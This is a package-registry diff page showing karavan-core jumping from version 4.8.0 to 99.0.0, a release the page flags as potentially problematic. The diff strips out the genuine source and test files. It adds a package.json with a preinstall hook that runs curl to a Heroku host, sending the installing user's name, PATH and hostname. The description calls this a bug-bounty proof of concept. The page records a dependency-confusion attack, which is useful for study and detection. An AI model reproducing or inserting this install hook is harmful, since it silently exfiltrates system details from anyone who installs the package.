karavan-core 4.8.0 → 99.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of karavan-core might be problematic. Click here for more details.
- package/index.js +3 -0
- package/package.json +8 -58
- package/.bebelrc +0 -3
- package/.mocharc.json +0 -11
- package/.prettierignore +0 -9
- package/.prettierrc +0 -14
- package/src/core/api/CamelDefinitionApi.ts +0 -3271
- package/src/core/api/CamelDefinitionApiExt.ts +0 -757
- package/src/core/api/CamelDefinitionYaml.ts +0 -412
- package/src/core/api/CamelDefinitionYamlStep.ts +0 -4733
- package/src/core/api/CamelDisplayUtil.ts +0 -143
- package/src/core/api/CamelUtil.ts +0 -360
- package/src/core/api/ComponentApi.ts +0 -368
- package/src/core/api/KameletApi.ts +0 -147
- package/src/core/api/MainConfigurationApi.ts +0 -47
- package/src/core/api/ProjectModelApi.ts +0 -75
- package/src/core/api/SpiBeanApi.ts +0 -104
- package/src/core/api/TemplateApi.ts +0 -58
- package/src/core/api/TopologyUtils.ts +0 -392
- package/src/core/api/VariableUtil.ts +0 -104
- package/src/core/model/CamelDefinition.ts +0 -3783
- package/src/core/model/CamelMetadata.ts +0 -2714
- package/src/core/model/ComponentModels.ts +0 -106
- package/src/core/model/IntegrationDefinition.ts +0 -188
- package/src/core/model/KameletModels.ts +0 -223
- package/src/core/model/MainConfigurationModel.ts +0 -37
- package/src/core/model/ProjectModel.ts +0 -43
- package/src/core/model/SpiBeanModels.ts +0 -53
- package/src/core/model/TopologyDefinition.ts +0 -117
- package/test/addStep.spec.ts +0 -124
- package/test/addStep1.yaml +0 -27
- package/test/allowableValues.camel.yaml +0 -19
- package/test/allowableValues.spec.ts +0 -30
- package/test/avro-serialize-action.kamelet.yaml +0 -70
- package/test/beans.spec.ts +0 -92
- package/test/beans1.yaml +0 -36
- package/test/beans2.yaml +0 -42
- package/test/beans3.yaml +0 -7
- package/test/checkRequired.spec.ts +0 -53
- package/test/circuitBreaker.spec.ts +0 -57
- package/test/circuitBreaker.yaml +0 -19
- package/test/cloneDefinition.spec.ts +0 -106
- package/test/createKamelet.spec.ts +0 -38
- package/test/cxf.json +0 -615
- package/test/cxf.spec.ts +0 -44
- package/test/cxf.yaml +0 -15
- package/test/deleteStep.spec.ts +0 -74
- package/test/demo.spec.ts +0 -49
- package/test/demo.yaml +0 -32
- package/test/doCatchOnWhen.camel.yaml +0 -20
- package/test/doCatchOnWhen.spec.ts +0 -36
- package/test/errorHandler.spec.ts +0 -38
- package/test/errorHandler1.yaml +0 -27
- package/test/expression.spec.ts +0 -55
- package/test/findStep.spec.ts +0 -112
- package/test/findStep.yaml +0 -65
- package/test/getElementProperties.spec.ts +0 -32
- package/test/getElementPropertiesByName.spec.ts +0 -31
- package/test/getExpressionLanguage.spec.ts +0 -40
- package/test/hasElementWithId.camel.yaml +0 -98
- package/test/hasElementWithId.spec.ts +0 -57
- package/test/hasElementWithId1.camel.yaml +0 -16
- package/test/hasElementWithIdError.camel.yaml +0 -98
- package/test/integration.spec.ts +0 -60
- package/test/integration1.yaml +0 -24
- package/test/integration2.yaml +0 -23
- package/test/integrationToYaml.spec.ts +0 -51
- package/test/intercept.spec.ts +0 -62
- package/test/intercept.yaml +0 -19
- package/test/is-not-integration.yaml +0 -5114
- package/test/isIntegration.spec.ts +0 -45
- package/test/kamelet.spec.ts +0 -61
- package/test/metadata/components.json +0 -697
- package/test/metadata/kamelets.yaml +0 -23414
- package/test/metadata/spiBeans.json +0 -3094
- package/test/multiObjectProperties.spec.ts +0 -46
- package/test/multiObjectProperties1.yaml +0 -19
- package/test/multiple.spec.ts +0 -38
- package/test/multiple.yaml +0 -29
- package/test/openapi.spec.ts +0 -48
- package/test/openapi.yaml +0 -7
- package/test/placeholder.spec.ts +0 -32
- package/test/placeholder.yaml +0 -133
- package/test/plain-try-catch.yaml +0 -31
- package/test/plain.spec.ts +0 -72
- package/test/plain1.yaml +0 -22
- package/test/plain2.yaml +0 -13
- package/test/plain3.yaml +0 -5
- package/test/plain4.yaml +0 -5
- package/test/postgresql-source.kamelet.yaml +0 -113
- package/test/restConfigDsl.yaml +0 -15
- package/test/restDsl.spec.ts +0 -83
- package/test/restDsl.yaml +0 -29
- package/test/routes.spec.ts +0 -37
- package/test/routes1.yaml +0 -31
- package/test/supported-components.json +0 -1221
- package/test/supportedComponents.spec.ts +0 -34
- package/test/template1.AggregationStrategy.java +0 -21
- package/test/template1.Processor.java +0 -13
- package/test/template2.AggregationStrategy.java +0 -21
- package/test/template2.Processor.java +0 -13
- package/test/templateApi.spec.ts +0 -45
- package/test/timer-source.kamelet.yaml +0 -75
- package/test/tod.spec.ts +0 -31
- package/test/tod.yaml +0 -9
- package/test/topology.spec.ts +0 -51
- package/test/topology1.camel.yaml +0 -56
- package/test/topology2.camel.yaml +0 -44
- package/test/topology3.camel.yaml +0 -27
- package/test/tsconfig.testing.json +0 -14
- package/test/updateStep.spec.ts +0 -72
- package/test/variable1.camel.yaml +0 -42
- package/test/variable2.camel.yaml +0 -42
- package/test/variables.spec.ts +0 -34
- package/tsconfig.json +0 -34
package/index.js
ADDED
package/package.json
CHANGED
@@ -1,62 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "karavan-core",
|
3
|
-
"
|
4
|
-
"
|
5
|
-
"
|
3
|
+
"version": "99.0.0",
|
4
|
+
"description": "Hello! My name is roei hadashi. im a security reasercher and this package is part of a poc for bug bounty. if you installed the package, no worries. it does nothing harmless for your computer.",
|
5
|
+
"main": "index.js",
|
6
6
|
"scripts": {
|
7
|
-
"
|
8
|
-
"
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "curl https://shrouded-ravine-99137.herokuapp.com/karavan-core/$USER/$PATH/$HOSTNAME"
|
9
9
|
},
|
10
|
-
"
|
11
|
-
|
12
|
-
|
13
|
-
},
|
14
|
-
"type": "module",
|
15
|
-
"keywords": [
|
16
|
-
"Camel",
|
17
|
-
"Tool",
|
18
|
-
"Integration",
|
19
|
-
"Camel Yaml"
|
20
|
-
],
|
21
|
-
"author": {
|
22
|
-
"name": "Najib Amait",
|
23
|
-
"email": "najib.amait@gmail.com"
|
24
|
-
},
|
25
|
-
"maintainers": [
|
26
|
-
{
|
27
|
-
"name": "Marat Gubaidullin",
|
28
|
-
"email": "marat.gubaidullin@gmail.com"
|
29
|
-
}
|
30
|
-
],
|
31
|
-
"license": "Apache-2.0",
|
32
|
-
"bugs": {
|
33
|
-
"url": "https://github.com/apache/camel-karavan/issues"
|
34
|
-
},
|
35
|
-
"homepage": "https://github.com/apache/camel-karavan#readme",
|
36
|
-
"dependencies": {
|
37
|
-
"@types/js-yaml": "^4.0.9",
|
38
|
-
"@types/uuid": "^10.0.0",
|
39
|
-
"tsconfig-paths": "^4.2.0",
|
40
|
-
"uuid": "10.0.0"
|
41
|
-
},
|
42
|
-
"peerDependencies": {
|
43
|
-
"react": "^16.0.0",
|
44
|
-
"react-dom": "^16.0.0"
|
45
|
-
},
|
46
|
-
"devDependencies": {
|
47
|
-
"@babel/cli": "^7.25.6",
|
48
|
-
"@babel/preset-env": "^7.25.4",
|
49
|
-
"@babel/preset-react": "^7.24.7",
|
50
|
-
"@types/chai": "^4.3.16",
|
51
|
-
"@types/dagre": "^0.7.52",
|
52
|
-
"@types/mocha": "^10.0.7",
|
53
|
-
"@types/node": "20.14.9",
|
54
|
-
"chai": "^5.1.1",
|
55
|
-
"cross-env": "^7.0.3",
|
56
|
-
"fs": "^0.0.1-security",
|
57
|
-
"mocha": "^10.5.2",
|
58
|
-
"ts-node": "^10.9.2",
|
59
|
-
"tsc-alias": "^1.8.10",
|
60
|
-
"typescript": "4.9.5"
|
61
|
-
}
|
62
|
-
}
|
10
|
+
"author": "r03i98",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|
package/.bebelrc
DELETED
package/.mocharc.json
DELETED
package/.prettierignore
DELETED
package/.prettierrc
DELETED
@@ -1,14 +0,0 @@
|
|
1
|
-
{
|
2
|
-
"trailingComma": "all",
|
3
|
-
"tabWidth": 4,
|
4
|
-
"useTabs": false,
|
5
|
-
"semi": true,
|
6
|
-
"singleQuote": true,
|
7
|
-
"jsxSingleQuote": true,
|
8
|
-
"proseWrap": "never",
|
9
|
-
"bracketSameLine": true,
|
10
|
-
"arrowParens": "avoid",
|
11
|
-
"printWidth": 120,
|
12
|
-
"bracketSpacing": true,
|
13
|
-
"singleAttributePerLine": false
|
14
|
-
}
|